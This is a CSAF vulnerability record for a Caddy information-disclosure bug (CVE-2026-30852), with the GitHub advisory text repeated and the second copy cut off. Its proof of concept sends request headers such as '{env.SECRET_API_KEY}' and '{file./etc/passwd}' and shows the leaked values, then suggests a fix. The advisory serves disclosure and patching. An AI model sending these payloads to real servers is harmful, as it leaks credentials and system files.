{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-30852",
        "tracking": {
            "current_release_date": "2026-03-25T19:20:13.404959Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-30852",
            "initial_release_date": "2026-03-07T00:12:57.108436Z",
            "revision_history": [
                {
                    "date": "2026-03-07T00:12:57.108436Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T00:13:03.186231Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-07T00:39:54.616150Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T00:40:04.549031Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-07T17:25:03.776992Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T17:25:06.616437Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-07T17:38:40.770339Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T17:38:49.630662Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-08T14:48:53.618876Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-08T18:42:41.077381Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (1)."
                },
                {
                    "date": "2026-03-09T17:02:44.198375Z",
                    "number": "11",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-09T17:02:45.666526Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-09T18:12:53.110398Z",
                    "number": "13",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-09T18:39:28.172410Z",
                    "number": "14",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-11T13:25:22.498069Z",
                    "number": "15",
                    "summary": "CVSS created.| Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-11T13:25:32.418383Z",
                    "number": "16",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-19T15:29:14.924417Z",
                    "number": "17",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T15:29:18.864812Z",
                    "number": "18",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:33:50.531481Z",
                    "number": "19",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-25T18:15:33.636955Z",
                    "number": "20",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (3)."
                },
                {
                    "date": "2026-03-25T18:15:35.266230Z",
                    "number": "21",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T19:19:56.303939Z",
                    "number": "22",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (48).| Products created (2).| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-03-25T19:20:09.074340Z",
                    "number": "23",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "23"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=2.7.5|<2.11.2",
                                "product": {
                                    "name": "vers:unknown/>=2.7.5|<2.11.2",
                                    "product_id": "CSAFPID-5767823",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:caddyserver:caddy:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.0",
                                "product": {
                                    "name": "vers:unknown/v2.10.0",
                                    "product_id": "CSAFPID-5700154"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.0-beta.1",
                                "product": {
                                    "name": "vers:unknown/v2.10.0-beta.1",
                                    "product_id": "CSAFPID-5700155"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.0-beta.2",
                                "product": {
                                    "name": "vers:unknown/v2.10.0-beta.2",
                                    "product_id": "CSAFPID-5700156"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.0-beta.3",
                                "product": {
                                    "name": "vers:unknown/v2.10.0-beta.3",
                                    "product_id": "CSAFPID-5700157"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.0-beta.4",
                                "product": {
                                    "name": "vers:unknown/v2.10.0-beta.4",
                                    "product_id": "CSAFPID-5700158"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.1",
                                "product": {
                                    "name": "vers:unknown/v2.10.1",
                                    "product_id": "CSAFPID-5700159"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.2",
                                "product": {
                                    "name": "vers:unknown/v2.10.2",
                                    "product_id": "CSAFPID-5700160"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.0",
                                "product": {
                                    "name": "vers:unknown/v2.11.0",
                                    "product_id": "CSAFPID-5700161"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.0-beta.1",
                                "product": {
                                    "name": "vers:unknown/v2.11.0-beta.1",
                                    "product_id": "CSAFPID-5700162"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.0-beta.2",
                                "product": {
                                    "name": "vers:unknown/v2.11.0-beta.2",
                                    "product_id": "CSAFPID-5700163"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.1",
                                "product": {
                                    "name": "vers:unknown/v2.11.1",
                                    "product_id": "CSAFPID-5909376"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.7.5",
                                "product": {
                                    "name": "vers:unknown/v2.7.5",
                                    "product_id": "CSAFPID-5700164"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.0",
                                "product": {
                                    "name": "vers:unknown/v2.8.0",
                                    "product_id": "CSAFPID-5700165"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.0-beta.1",
                                "product": {
                                    "name": "vers:unknown/v2.8.0-beta.1",
                                    "product_id": "CSAFPID-5700166"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.0-beta.2",
                                "product": {
                                    "name": "vers:unknown/v2.8.0-beta.2",
                                    "product_id": "CSAFPID-5700167"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.0-rc.1",
                                "product": {
                                    "name": "vers:unknown/v2.8.0-rc.1",
                                    "product_id": "CSAFPID-5700168"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.1",
                                "product": {
                                    "name": "vers:unknown/v2.8.1",
                                    "product_id": "CSAFPID-5700169"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.2",
                                "product": {
                                    "name": "vers:unknown/v2.8.2",
                                    "product_id": "CSAFPID-5700170"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.3",
                                "product": {
                                    "name": "vers:unknown/v2.8.3",
                                    "product_id": "CSAFPID-5700171"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.4",
                                "product": {
                                    "name": "vers:unknown/v2.8.4",
                                    "product_id": "CSAFPID-5700172"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.9.0",
                                "product": {
                                    "name": "vers:unknown/v2.9.0",
                                    "product_id": "CSAFPID-5700173"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.9.0-beta.1",
                                "product": {
                                    "name": "vers:unknown/v2.9.0-beta.1",
                                    "product_id": "CSAFPID-5700174"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.9.0-beta.2",
                                "product": {
                                    "name": "vers:unknown/v2.9.0-beta.2",
                                    "product_id": "CSAFPID-5700175"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.9.0-beta.3",
                                "product": {
                                    "name": "vers:unknown/v2.9.0-beta.3",
                                    "product_id": "CSAFPID-5700176"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.9.1",
                                "product": {
                                    "name": "vers:unknown/v2.9.1",
                                    "product_id": "CSAFPID-5700177"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Caddy"
                    }
                ],
                "category": "vendor",
                "name": "Caddyserver"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:deb/*",
                                        "product": {
                                            "name": "vers:deb/*",
                                            "product_id": "CSAFPID-1390593"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "caddy"
                            }
                        ],
                        "category": "product_family",
                        "name": "bookworm"
                    }
                ],
                "category": "vendor",
                "name": "Debian"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.0",
                                "product": {
                                    "name": "vers:unknown/v2.10.0",
                                    "product_id": "CSAFPID-5737655"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.0-beta.1",
                                "product": {
                                    "name": "vers:unknown/v2.10.0-beta.1",
                                    "product_id": "CSAFPID-5737656"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.0-beta.2",
                                "product": {
                                    "name": "vers:unknown/v2.10.0-beta.2",
                                    "product_id": "CSAFPID-5737657"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.0-beta.3",
                                "product": {
                                    "name": "vers:unknown/v2.10.0-beta.3",
                                    "product_id": "CSAFPID-5737658"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.0-beta.4",
                                "product": {
                                    "name": "vers:unknown/v2.10.0-beta.4",
                                    "product_id": "CSAFPID-5737659"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.1",
                                "product": {
                                    "name": "vers:unknown/v2.10.1",
                                    "product_id": "CSAFPID-5737660"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.2",
                                "product": {
                                    "name": "vers:unknown/v2.10.2",
                                    "product_id": "CSAFPID-5735034"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.0",
                                "product": {
                                    "name": "vers:unknown/v2.11.0",
                                    "product_id": "CSAFPID-5735035"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.0-beta.1",
                                "product": {
                                    "name": "vers:unknown/v2.11.0-beta.1",
                                    "product_id": "CSAFPID-5735036"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.0-beta.2",
                                "product": {
                                    "name": "vers:unknown/v2.11.0-beta.2",
                                    "product_id": "CSAFPID-5735037"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.1",
                                "product": {
                                    "name": "vers:unknown/v2.11.1",
                                    "product_id": "CSAFPID-5909377"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.7.5",
                                "product": {
                                    "name": "vers:unknown/v2.7.5",
                                    "product_id": "CSAFPID-5737661"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.0",
                                "product": {
                                    "name": "vers:unknown/v2.8.0",
                                    "product_id": "CSAFPID-5737662"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.0-beta.1",
                                "product": {
                                    "name": "vers:unknown/v2.8.0-beta.1",
                                    "product_id": "CSAFPID-5737663"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.0-beta.2",
                                "product": {
                                    "name": "vers:unknown/v2.8.0-beta.2",
                                    "product_id": "CSAFPID-5737664"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.0-rc.1",
                                "product": {
                                    "name": "vers:unknown/v2.8.0-rc.1",
                                    "product_id": "CSAFPID-5737665"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.1",
                                "product": {
                                    "name": "vers:unknown/v2.8.1",
                                    "product_id": "CSAFPID-5737666"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.2",
                                "product": {
                                    "name": "vers:unknown/v2.8.2",
                                    "product_id": "CSAFPID-5737667"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.3",
                                "product": {
                                    "name": "vers:unknown/v2.8.3",
                                    "product_id": "CSAFPID-5737668"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.8.4",
                                "product": {
                                    "name": "vers:unknown/v2.8.4",
                                    "product_id": "CSAFPID-5737669"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.9.0",
                                "product": {
                                    "name": "vers:unknown/v2.9.0",
                                    "product_id": "CSAFPID-5737670"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.9.0-beta.1",
                                "product": {
                                    "name": "vers:unknown/v2.9.0-beta.1",
                                    "product_id": "CSAFPID-5737671"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.9.0-beta.2",
                                "product": {
                                    "name": "vers:unknown/v2.9.0-beta.2",
                                    "product_id": "CSAFPID-5737672"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.9.0-beta.3",
                                "product": {
                                    "name": "vers:unknown/v2.9.0-beta.3",
                                    "product_id": "CSAFPID-5737673"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.9.1",
                                "product": {
                                    "name": "vers:unknown/v2.9.1",
                                    "product_id": "CSAFPID-5737674"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "caddy"
                    }
                ],
                "category": "vendor",
                "name": "mholt"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-30852",
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\n\nThe `vars_regexp` matcher in `vars.go:337` double-expands user-controlled input through the Caddy replacer. When `vars_regexp` matches against a placeholder like `{http.request.header.X-Input}`, the header value gets resolved once (expected), then passed through `repl.ReplaceAll()` again (the bug). This means an attacker can put `{env.DATABASE_URL}` or `{file./etc/passwd}` in a request header and the server will evaluate it, leaking environment variables, file contents, and system info.\n\n`header_regexp` does NOT do this — it passes header values straight to `Match()`. So this is a code-level inconsistency, not intended behavior.\n\n### Details\n\nThe bug is at `modules/caddyhttp/vars.go`, line 337 in `MatchVarsRE.MatchWithError()`:\n\n```go\nvalExpanded := repl.ReplaceAll(varStr, \"\")\nif match := val.Match(valExpanded, repl); match {\n```\n\nWhen the key is a placeholder like `{http.request.header.X-Input}`, `repl.Get()` resolves it to the raw header value (first expansion, line 318). Then `repl.ReplaceAll()` runs on that value again (second expansion, line 337), which evaluates any `{env.*}`, `{file.*}`, `{system.*}` placeholders the user put in there.\n\nFor comparison, `header_regexp` (`matchers.go:1129`) and `path_regexp` (`matchers.go:703`) both pass values directly to `Match()` without this second expansion.\n\nThis `repl.ReplaceAll()` was added by PR #5408 to fix #5406 (vars_regexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug.\n\n\n*Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:**\n\nConfig with both matchers on the same server:\n```json\n{\n  \"admin\": {\"disabled\": true},\n  \"apps\": {\n    \"http\": {\n      \"servers\": {\n        \"srv0\": {\n          \"listen\": [\":8080\"],\n          \"routes\": [\n            {\n              \"match\": [{\"path\": [\"/header_regexp\"], \"header_regexp\": {\"X-Input\": {\"name\": \"hdr\", \"pattern\": \".+\"}}}],\n              \"handle\": [{\"handler\": \"static_response\", \"body\": \"header_regexp: {http.regexp.hdr.0}\"}]\n            },\n            {\n              \"match\": [{\"path\": [\"/vars_regexp\"], \"vars_regexp\": {\"{http.request.header.X-Input}\": {\"name\": \"var\", \"pattern\": \".+\"}}}],\n              \"handle\": [{\"handler\": \"static_response\", \"body\": \"vars_regexp: {http.regexp.var.0}\"}]\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n```\n\n```\n$ export SECRET=supersecretvalue123\n\n$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/header_regexp\nheader_regexp: {env.HOME}                           # literal string, safe\n\n$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/vars_regexp\nvars_regexp: /Users/test                           # expanded — env var leaked\n\n$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/header_regexp\nheader_regexp: {env.SECRET}                         # literal string, safe\n\n$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/vars_regexp\nvars_regexp: supersecretvalue123                    # secret leaked\n\n$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/header_regexp\nheader_regexp: {file./etc/hosts}                    # literal string, safe\n\n$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/vars_regexp\nvars_regexp: ##                                     # file contents leaked\n```\n\n### PoC\n\nSave this as `config.json`:\n```json\n{\n  \"admin\": {\"disabled\": true},\n  \"apps\": {\n    \"http\": {\n      \"servers\": {\n        \"srv0\": {\n          \"listen\": [\":8080\"],\n          \"routes\": [\n            {\n              \"match\": [\n                {\n                  \"vars_regexp\": {\n                    \"{http.request.header.X-Input}\": {\n                      \"name\": \"leak\",\n                      \"pattern\": \".+\"\n                    }\n                  }\n                }\n              ],\n              \"handle\": [\n                {\n                  \"handler\": \"static_response\",\n                  \"body\": \"Result: {http.regexp.leak.0}\"\n                }\n              ]\n            },\n            {\n              \"handle\": [\n                {\n                  \"handler\": \"static_response\",\n                  \"body\": \"No match\",\n                  \"status_code\": \"200\"\n                }\n              ]\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n```\n\nStart Caddy:\n```bash\nexport SECRET_API_KEY=sk-PRODUCTION-abcdef123456\ncaddy run --config config.json\n```\n\nRequests and output:\n\n```\n$ curl -v -H 'X-Input: hello' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: hello\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 13\n<\nLeaked: hello\n```\n\n```\n$ curl -v -H 'X-Input: {env.HOME}' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: {env.HOME}\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 20\n<\nLeaked: /Users/test\n```\n\n```\n$ curl -v -H 'X-Input: {env.SECRET_API_KEY}' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: {env.SECRET_API_KEY}\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 34\n<\nLeaked: sk-PRODUCTION-abcdef123456\n```\n\n```\n$ curl -v -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: {file./etc/hosts}\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 10\n<\nLeaked: ##\n```\n\nAlso works with `{system.hostname}`, `{system.os}`, `{env.PATH}`, etc.\n\nDebug log (server starts clean, no errors):\n```\n{\"level\":\"info\",\"ts\":1771456228.917303,\"msg\":\"maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\"}\n{\"level\":\"info\",\"ts\":1771456228.917334,\"msg\":\"GOMEMLIMIT is updated\",\"GOMEMLIMIT\":15461882265,\"previous\":9223372036854775807}\n{\"level\":\"info\",\"ts\":1771456228.9173398,\"msg\":\"using config from file\",\"file\":\"config.json\"}\n{\"level\":\"warn\",\"ts\":1771456228.917349,\"logger\":\"admin\",\"msg\":\"admin endpoint disabled\"}\n{\"level\":\"info\",\"ts\":1771456228.917928,\"logger\":\"tls.cache.maintenance\",\"msg\":\"started background certificate maintenance\",\"cache\":\"0x340775faa300\"}\n{\"level\":\"warn\",\"ts\":1771456228.920725,\"logger\":\"http\",\"msg\":\"HTTP/2 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"warn\",\"ts\":1771456228.920738,\"logger\":\"http\",\"msg\":\"HTTP/3 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"info\",\"ts\":1771456228.920741,\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"level\":\"info\",\"ts\":1771456228.9210382,\"msg\":\"autosaved config (load with --resume flag)\"}\n{\"level\":\"info\",\"ts\":1771456228.921052,\"msg\":\"serving initial configuration\"}\n```\n\n### Impact\n\nInformation disclosure. An attacker can leak:\n- Environment variables (`{env.DATABASE_URL}`, `{env.AWS_SECRET_ACCESS_KEY}`, etc.)\n- File contents up to 1MB (`{file./etc/passwd}`, `{file./proc/self/environ}`)\n- System info (`{system.hostname}`, `{system.os}`, `{system.wd}`)\n\nRequires a config where `vars_regexp` matches user-controlled input and the capture group is reflected back. The bug was introduced by PR #5408 (fix for #5406), affecting all versions since.\n\nSuggested one-line fix:\n```diff\n--- a/modules/caddyhttp/vars.go\n+++ b/modules/caddyhttp/vars.go\n@@ -334,7 +334,7 @@\n \t\t\tvarStr = fmt.Sprintf(\"%v\", vv)\n \t\t}\n\n-\t\tvalExpanded := repl.ReplaceAll(varStr, \"\")\n+\t\tvalExpanded := varStr\n \t\tif match := val.Match(valExpanded, repl); match {\n \t\t\treturn match, nil\n \t\t}\n```\n\nThis makes `vars_regexp` consistent with `header_regexp` and `path_regexp`. Placeholder key resolution (lines 315-318) is unaffected.\n\nTested on latest main commit at `95941a71` (2026-02-17).\n\n**AI Disclosure:** Used Claude (Anthropic) during code review and testing. All findings verified manually.",
                    "title": "github - https://github.com/advisories/GHSA-m2w3-8f23-hxxf"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nThe `vars_regexp` matcher in `vars.go:337` double-expands user-controlled input through the Caddy replacer. When `vars_regexp` matches against a placeholder like `{http.request.header.X-Input}`, the header value gets resolved once (expected), then passed through `repl.ReplaceAll()` again (the bug). This means an attacker can put `{env.DATABASE_URL}` or `{file./etc/passwd}` in a request header and the server will evaluate it, leaking environment variables, file contents, and system info.\n\n`header_regexp` does NOT do this — it passes header values straight to `Match()`. So this is a code-level inconsistency, not intended behavior.\n\n### Details\n\nThe bug is at `modules/caddyhttp/vars.go`, line 337 in `MatchVarsRE.MatchWithError()`:\n\n```go\nvalExpanded := repl.ReplaceAll(varStr, \"\")\nif match := val.Match(valExpanded, repl); match {\n```\n\nWhen the key is a placeholder like `{http.request.header.X-Input}`, `repl.Get()` resolves it to the raw header value (first expansion, line 318). Then `repl.ReplaceAll()` runs on that value again (second expansion, line 337), which evaluates any `{env.*}`, `{file.*}`, `{system.*}` placeholders the user put in there.\n\nFor comparison, `header_regexp` (`matchers.go:1129`) and `path_regexp` (`matchers.go:703`) both pass values directly to `Match()` without this second expansion.\n\nThis `repl.ReplaceAll()` was added by PR #5408 to fix #5406 (vars_regexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug.\n\n\n*Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:**\n\nConfig with both matchers on the same server:\n```json\n{\n  \"admin\": {\"disabled\": true},\n  \"apps\": {\n    \"http\": {\n      \"servers\": {\n        \"srv0\": {\n          \"listen\": [\":8080\"],\n          \"routes\": [\n            {\n              \"match\": [{\"path\": [\"/header_regexp\"], \"header_regexp\": {\"X-Input\": {\"name\": \"hdr\", \"pattern\": \".+\"}}}],\n              \"handle\": [{\"handler\": \"static_response\", \"body\": \"header_regexp: {http.regexp.hdr.0}\"}]\n            },\n            {\n              \"match\": [{\"path\": [\"/vars_regexp\"], \"vars_regexp\": {\"{http.request.header.X-Input}\": {\"name\": \"var\", \"pattern\": \".+\"}}}],\n              \"handle\": [{\"handler\": \"static_response\", \"body\": \"vars_regexp: {http.regexp.var.0}\"}]\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n```\n\n```\n$ export SECRET=supersecretvalue123\n\n$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/header_regexp\nheader_regexp: {env.HOME}                           # literal string, safe\n\n$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/vars_regexp\nvars_regexp: /Users/test                           # expanded — env var leaked\n\n$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/header_regexp\nheader_regexp: {env.SECRET}                         # literal string, safe\n\n$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/vars_regexp\nvars_regexp: supersecretvalue123                    # secret leaked\n\n$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/header_regexp\nheader_regexp: {file./etc/hosts}                    # literal string, safe\n\n$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/vars_regexp\nvars_regexp: ##                                     # file contents leaked\n```\n\n### PoC\n\nSave this as `config.json`:\n```json\n{\n  \"admin\": {\"disabled\": true},\n  \"apps\": {\n    \"http\": {\n      \"servers\": {\n        \"srv0\": {\n          \"listen\": [\":8080\"],\n          \"routes\": [\n            {\n              \"match\": [\n                {\n                  \"vars_regexp\": {\n                    \"{http.request.header.X-Input}\": {\n                      \"name\": \"leak\",\n                      \"pattern\": \".+\"\n                    }\n                  }\n                }\n              ],\n              \"handle\": [\n                {\n                  \"handler\": \"static_response\",\n                  \"body\": \"Result: {http.regexp.leak.0}\"\n                }\n              ]\n            },\n            {\n              \"handle\": [\n                {\n                  \"handler\": \"static_response\",\n                  \"body\": \"No match\",\n                  \"status_code\": \"200\"\n                }\n              ]\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n```\n\nStart Caddy:\n```bash\nexport SECRET_API_KEY=sk-PRODUCTION-abcdef123456\ncaddy run --config config.json\n```\n\nRequests and output:\n\n```\n$ curl -v -H 'X-Input: hello' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: hello\n>\n* Request completely sent off\n< 